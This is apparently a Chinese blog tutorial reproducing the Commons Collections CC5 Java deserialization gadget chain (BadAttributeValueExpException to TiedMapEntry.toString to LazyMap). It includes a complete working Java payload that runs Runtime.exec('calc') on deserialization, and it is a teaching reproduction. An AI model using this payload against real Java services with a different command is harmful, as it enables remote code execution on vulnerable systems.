首页 > 编程语言 >java 反序列化 cc5复现

java 反序列化 cc5复现

时间:2024-11-15 09:18:52浏览次数:1  
标签:null java val cc5 valObj Object import new 序列化

复现环境:common-collections版本<=3.2.1,java版本随意.cc5则是cc6的一个变形,换了一个出口.直接从有变化的位置开看.

TiedMapEntry

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {  
    private static final long serialVersionUID = -8453869361373831205L;  
    private final Map map;  
    private final Object key;  
    
    public TiedMapEntry(Map map, Object key) {  
        this.map = map;  
        this.key = key;  
    }  
    
    public Object getValue() {  
        return this.map.get(this.key);  
    }  
    
    public int hashCode() {  
        Object value = this.getValue();  
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());  
    }  
  
    public String toString() {  
        return this.getKey() + "=" + this.getValue();  
    }  
}

通过getValue去触发LazyMapget这点没有变,之前在cc6的时候是通过hashCode去触发的getValue,这里我们改变一下,通过toString来触发getValue

BadAttributeValueExpException

直接看这个类的readObject方法

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {  
    ObjectInputStream.GetField gf = ois.readFields();  
    Object valObj = gf.get("val", null);  
  
    if (valObj == null) {  
        val = null;  
    } else if (valObj instanceof String) {  
        val= valObj;  
    } else if (System.getSecurityManager() == null  
            || valObj instanceof Long  
            || valObj instanceof Integer  
            || valObj instanceof Float  
            || valObj instanceof Double  
            || valObj instanceof Byte  
            || valObj instanceof Short  
            || valObj instanceof Boolean) {  
        val = valObj.toString();  
    } else { // the serialized object is from a version without JDK-8019292 fix  
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();  
    }  
}

可以看到相当于触发了valtoString方法.然而这个val不能通过构造方法去赋值.

public BadAttributeValueExpException (Object val) {  
    this.val = val == null ? null : val.toString();  
}

否则会在构造方法处直接触发toString,应该通过反射去修改.
写成了payload

package org.example;  
  
import java.io.*;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
  
import javax.management.BadAttributeValueExpException;  
import java.lang.reflect.*;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
    public static void main(String[] args) throws Exception {  
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);  
  
        String MethodName1 = "getMethod";  
        Class[] ParmaType1 = {String.class, Class[].class};  
        Object[] Parma1 = {"getRuntime", null};  
        InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);  
  
        String MethodName2 = "invoke";  
        Class[] ParmaType2 = {Object.class, Object[].class};  
        Object[] Parma2 = {null, null};  
        InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);  
  
        String MethodName3 = "exec";  
        Class[] ParmaType3 = {String.class};  
        Object[] Parma3 = {"calc"};  
        InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);  
  
        Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);  
  
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);  
        Class<?> clazz = badAttributeValueExpException.getClass();  
        Field val = clazz.getDeclaredField("val");  
        val.setAccessible(true);  
        val.set(badAttributeValueExpException, tiedMapEntry);  
  
        serial(badAttributeValueExpException);  
        unserial();  
  
    }  
  
    public static void serial(Object obj) throws Exception {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws Exception {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}

归纳总结得出利用链:

Gadget chain:
ObjectInputStream.readObject()
    BadAttributeValueExpException.readObject()
        TiedMapEntry.toString()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

标签:null,java,val,cc5,valObj,Object,import,new,序列化
From: https://www.cnblogs.com/meraklbz/p/18547336

相关文章

  • Java面试要点20 - Java接口的演进
    本文目录一、引言二、传统接口特性三、Java8中的默认方法四、静态方法的引入五、Java9私有方法六、接口的多重实现七、总结一、引言Java接口是一种抽象类型,是抽象方法的集合,用于规范类的行为。从Java8开始,接口的功能不断增强,引入了默认方法和静态方法,到Java9......
  • 【原创】java+ssm+mysql物流信息网系统设计与实现
    个人主页:程序猿小小杨个人简介:从事开发多年,Java、Php、Python、前端开发均有涉猎博客内容:Java项目实战、项目演示、技术分享文末有作者名片,希望和大家一起共同进步,你只管努力,剩下的交给天意。前言:随着全球经济一体化的不断推进,物流业作为支撑企业运营的重要环节,其管理和......
  • 【原创】java+ssm+mysql商品库存管理系统(进销存)设计与实现
    个人主页:程序猿小小杨个人简介:从事开发多年,Java、Php、Python、前端开发均有涉猎博客内容:Java项目实战、项目演示、技术分享文末有作者名片,希望和大家一起共同进步,你只管努力,剩下的交给天意。前言:随着市场竞争的日益激烈,企业面临着巨大的竞争压力。为了在市场中立于不败......
  • 【JavaEE初阶 — 多线程】生产消费模型 & 阻塞队列
         1.阻塞队列     (1)阻塞队列   1.概念   阻塞队列是一种特殊的队列,也遵守"先进先出"的原则;阻塞队列能是一种线程安全的数据结构,主要用来阻塞队列的插入和获取操作:当队列满了的时候,插入操作会被阻塞,直到队列有空位。当队列为空的时......
  • [RoarCTF 2019]Easy Java 1
    [RoarCTF2019]EasyJava1打开实例发现登录框,尝试万能密码admin'or1=1#后无果注意到登录框下有个help,点击发现文件读取显示文件notfound,文件未找到,怀疑是请求方法问题,尝试POST请求发现能成功下载,确定这道题为任意文件下载打开help.docx,显示看来文件不在这里,根据题目......
  • 【学习日记】notebook添加JAVA支持
    作者是个大学生这个专栏主要收集课时常用的软件以及女朋友上课用的软件的教程新开了gitcode用于上传安装包 环境说明windows11java23.0.1ijava1.1.2Anaconda-2024.02需提前配置好java环境本篇仅对添加支持进行说明ijava的GitCode链接NotebookAddsSupportForJava......
  • Java面试之有三个线程T1,T2,T3,如何保证顺序执行?
    前言本来想着给自己放松一下,刷刷博客,突然被几道面试题难倒!有三个线程T1,T2,T3,如何保证顺序执行?似乎有点模糊了,那就大概看一下面试题吧。好记性不如烂键盘***12万字的java面试题整理***有三个线程T1,T2,T3,如何保证顺序执行?在多线程中有多种方法让线程按特定顺序执行,......
  • Java面试之多线程&并发篇(3)
    前言本来想着给自己放松一下,刷刷博客,突然被几道面试题难倒!SynchronizedMap和ConcurrentHashMap有什么区别?什么是线程安全?Thread类中的yield方法有什么作用?Java线程池中submit()和execute()方法有什么区别?似乎有点模糊了,那就大概看一下面试题吧。好记性不如烂键盘***12......
  • Java面试之多线程&并发篇(3)
    前言本来想着给自己放松一下,刷刷博客,突然被几道面试题难倒!SynchronizedMap和ConcurrentHashMap有什么区别?什么是线程安全?Thread类中的yield方法有什么作用?Java线程池中submit()和execute()方法有什么区别?似乎有点模糊了,那就大概看一下面试题吧。好记性不如烂键盘***12万字的j......
  • 自主研发RPA,基于uiautomatorviewer的自动化代码生成器,一键生成Java代码和Cucumber描述
    介绍基于UIAutomator进行二次开发,让你不懂开发也能编写自动化测试代码, 一边生成代码一边Debug,毫不费力写出完美的自动化测试代码 。该工具集成了Tomcat使得添加新的功能的时候使用HTML+API进行开发,降低了开发难度;集成了Derby数据库,测试用例持久化到数据库。软件架构采用HTML......